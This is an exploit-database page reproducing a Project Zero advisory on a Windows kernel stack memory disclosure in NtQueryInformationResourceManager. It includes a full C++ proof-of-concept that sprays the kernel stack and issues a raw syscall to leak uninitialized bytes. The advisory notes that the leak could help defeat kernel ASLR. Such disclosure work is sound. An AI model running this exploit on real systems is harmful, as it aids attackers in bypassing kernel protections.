Microsoft Windows – ‘nt!NtQueryInformationResourceManager (information class 0)’ Kernel Stack Memory Disclosure

  • 作者: Google Security Research
    日期: 2017-06-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42242/
  • /*
    Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1207
    
    We have discovered that the nt!NtQueryInformationResourceManager system call called with the 0 information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.
    
    The specific name of the 0 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 24 bytes is accepted. At the end of that memory area, 2 uninitialized bytes from the kernel stack can be leaked to the client application.
    
    The attached proof-of-concept program (specific to Windows 10 1607 32-bit) demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=0 and the allowed output size. An example output is as follows:
    
    --- cut ---
    00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000010: 00 00 00 00 00 00 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ......AA........
    --- cut ---
    
    It is clearly visible here that 2 bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
    */
    
    #include <Windows.h>
    #include <winternl.h>
    #include <KtmW32.h>
    #include <cstdio>
    
    extern "C"
    ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
    );
    
    // For native 32-bit execution.
    extern "C"
    ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
    __asm{mov eax, ApiNumber};
    __asm{lea edx, ApiNumber + 4};
    __asm{int 0x2e};
    }
    
    VOID PrintHex(PBYTE Data, ULONG dwBytes) {
    for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);
    
    for (ULONG j = 0; j < 16; j++) {
    if (i + j < dwBytes) {
    printf("%.2x ", Data[i + j]);
    }
    else {
    printf("?? ");
    }
    }
    
    for (ULONG j = 0; j < 16; j++) {
    if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
    printf("%c", Data[i + j]);
    }
    else {
    printf(".");
    }
    }
    
    printf("\n");
    }
    }
    
    VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
    for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
    }
    }
    
    VOID SprayKernelStack() {
    // Buffer allocated in static program memory, hence doesn't touch the local stack.
    static BYTE buffer[4096];
    
    // Fill the buffer with 'A's and spray the kernel stack.
    MyMemset(buffer, 'A', sizeof(buffer));
    NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
    
    // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
    MyMemset(buffer, 'B', sizeof(buffer));
    }
    
    int main() {
    // Windows 10 1607 32-bit.
    CONST ULONG __NR_NtQueryInformationResourceManager = 0x00b6;
    
    // Create a volatile transaction manager.
    HANDLE hManager = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0);
    if (hManager == INVALID_HANDLE_VALUE) {
    printf("CreateTransactionManager failed, %d\n", GetLastError());
    return 1;
    }
    
    // Create a resource manager.
    GUID guid;
    ZeroMemory(&guid, sizeof(guid));
    
    HANDLE hResource = CreateResourceManager(NULL, &guid, RESOURCE_MANAGER_VOLATILE, hManager, NULL);
    if (hResource == INVALID_HANDLE_VALUE) {
    printf("CreateResourceManager failed, %d\n", GetLastError());
    CloseHandle(hManager);
    return 1;
    }
    
    // Spray the kernel stack to get visible results.
    SprayKernelStack();
    
    // Trigger the vulnerability and print out the output structure.
    BYTE output[24] = { /* zero padding */ };
    DWORD ReturnLength;
    NTSTATUS st = SystemCall32(__NR_NtQueryInformationResourceManager, hResource, 0, output, sizeof(output), &ReturnLength);
    
    if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationResourceManager failed, %x\n", st);
    CloseHandle(hManager);
    CloseHandle(hResource);
    return 1;
    }
    
    PrintHex(output, ReturnLength);
    
    // Free resources.
    CloseHandle(hManager);
    CloseHandle(hResource);
    
    return 0;
    }